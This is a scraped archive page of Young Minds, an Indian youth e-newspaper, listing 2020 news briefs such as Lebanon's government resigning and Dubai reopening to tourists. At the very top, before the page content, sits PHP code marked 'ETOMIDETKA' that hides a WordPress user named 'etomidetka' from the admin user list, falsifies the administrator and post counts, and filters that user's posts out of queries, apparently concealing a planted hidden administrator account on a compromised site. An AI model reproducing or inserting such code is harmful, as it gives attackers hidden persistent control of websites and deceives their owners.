//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Main News | YOUNG MINDS | Page 20

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Main News (Page 20)
Lebanon’s entire govt resigns over Beirut explosion

Lebanon’s entire govt resigns over Beirut explosion

Lebanon’s entire government has resigned over last week’s explosion in Beirut that claimed at least 160 lives and injured over 6,000 people. Earlier, …

August 14, 2020 | Main News
The world’s wealthiest family got $3 million richer every hour over the past year

The world’s wealthiest family got $3 million richer every hour over the past year

The Waltons, the family that controls Walmart, saw their wealth grow by $3 million per hour over the past year on average. The fortune of the world’s richest …

August 7, 2020 | Main News
PM Narendra Modi crosses 60million followers on Twitter

PM Narendra Modi crosses 60million followers on Twitter

PM Modi has become the most followed Indian on Twitter. In the list of most followed world leaders on Twitter, the Indian Prime Minister still remains is at …

July 24, 2020 | Main News
Kuwait clears expat bill

Kuwait clears expat bill

A committee of Kuwait’s National Assembly has approved a draft expat quota bill that seeks to limit the number of Indians to 15% of the population. Around …

July 10, 2020 | Main News
UAE’s Dubai opens to tourists after nearly 4 months of closure

UAE’s Dubai opens to tourists after nearly 4 months of closure

UAE’s Dubai opened to tourists this week after nearly four months of coronavirus-led closure. The incoming tourists have been asked to present a negative …

July 10, 2020 | Main News
Australia closes state border for the 1st time in 100 years

Australia closes state border for the 1st time in 100 years

To contain the spread of coronavirus, Australia has closed the border between Victoria and New South Wales for the first time in 100 years. Officials last …

July 10, 2020 | Main News
Ban on Chinese apps in India

Ban on Chinese apps in India

India’s ban on more than 50 Chinese apps, including popular ones such as TikTok and WeChat, has left millions of users surprised and disappointed. The …

July 3, 2020 | Main News
Putin wins vote to remain Russian President till 2036

Putin wins vote to remain Russian President till 2036

Russian voters have approved changes to the constitution that will allow President Vladimir Putin to potentially stay in power until 2036. The 67-year-old has …

July 3, 2020 | Main News
1st woman to reach deepest point in ocean

1st woman to reach deepest point in ocean

Former NASA astronaut Kathryn Sullivan, the first American woman to conduct a spacewalk, has become the first woman to reach the deepest known point in …

June 12, 2020 | Main News
France relaxing border restrictions

France relaxing border restrictions

France is relaxing its border restrictions as the virus gradually recedes, allowing migrant workers and family visitors from other European countries but is …

May 29, 2020 | Main News
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds